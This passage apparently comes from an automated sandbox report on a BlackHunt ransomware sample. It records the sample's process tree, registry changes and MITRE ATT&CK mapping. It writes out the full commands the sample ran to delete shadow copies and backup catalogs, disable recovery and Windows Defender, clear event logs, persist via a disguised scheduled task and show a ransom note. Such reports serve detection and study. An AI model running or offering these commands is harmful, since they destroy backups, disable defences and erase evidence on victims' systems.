PID 1220 wrote to memory of 4672	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	117
PID 1220 wrote to memory of 4836	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	195
PID 1220 wrote to memory of 4836	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	195
PID 1220 wrote to memory of 208	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	192
PID 1220 wrote to memory of 208	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	192
PID 1220 wrote to memory of 3408	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	190
PID 1220 wrote to memory of 3408	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	190
PID 1220 wrote to memory of 1644	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	118
PID 1220 wrote to memory of 1644	1220	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe	118

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe
"C:\Users\Admin\AppData\Local\Temp\38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3684
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    PID:4260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4264
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:628
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1676
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3984
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:1784
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:5240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4520
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:8340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1524
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:6716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:3980
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:6360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:4672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:7484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1644
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:6576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe" /F
  2⤵
  PID:3236
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:10544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:3996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:7344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:4940
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:6580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:4244
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:10452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:5012
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:11888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:5140
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:5184
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:10468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:5252
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:7052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:5284
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:10472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:5356
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:6424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:4836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:4324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:3044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:4980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:4820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:4392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:1628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:3396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:6088
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:4800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:13848
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    PID:1548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:13224
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    PID:13184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:10652
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    PID:9312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:8680
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    PID:7552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:10824
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    PID:13240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:11912
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    PID:1684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:5276
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    PID:14044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:14332
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:7528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:11892
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:11156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:13420
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:13548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:11204
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:13584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  - Enumerates connected drives
  PID:10452
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:13900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1508
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:8308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:13324
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:14280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:13728
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:6676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:13820
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:6640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:10880
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    PID:13188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:9408
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    PID:8256
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 8256 -s 1444
      4⤵
      Program crash
      PID:64
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\38d364387e5fd60d9dc11b1f174a439367f949b35cb4a911e70c9ee45e998f5d.exe"
  2⤵
  PID:1636
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:14316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:9016
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:8292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:13556
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:6692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:13360
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:1504

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Modifies registry class
PID:4260

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:5040

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
1⤵
PID:5112

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
1⤵
PID:7068

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
1⤵
PID:8288

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
1⤵
PID:9816

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
1⤵
PID:7200

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:8592

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
1⤵
PID:7308

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
1⤵
PID:8344

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
1⤵
PID:9644

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:9060

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
1⤵
PID:8304

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
1⤵
PID:10852

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:6436

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
1⤵
PID:6528

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:11936

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6496

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:6552

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
1⤵
- Interacts with shadow copies
PID:6556

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
1⤵
PID:7596

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:8328

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
1⤵
PID:8412

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:6436

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:8288

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 8256 -ip 8256
1⤵
PID:13464

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

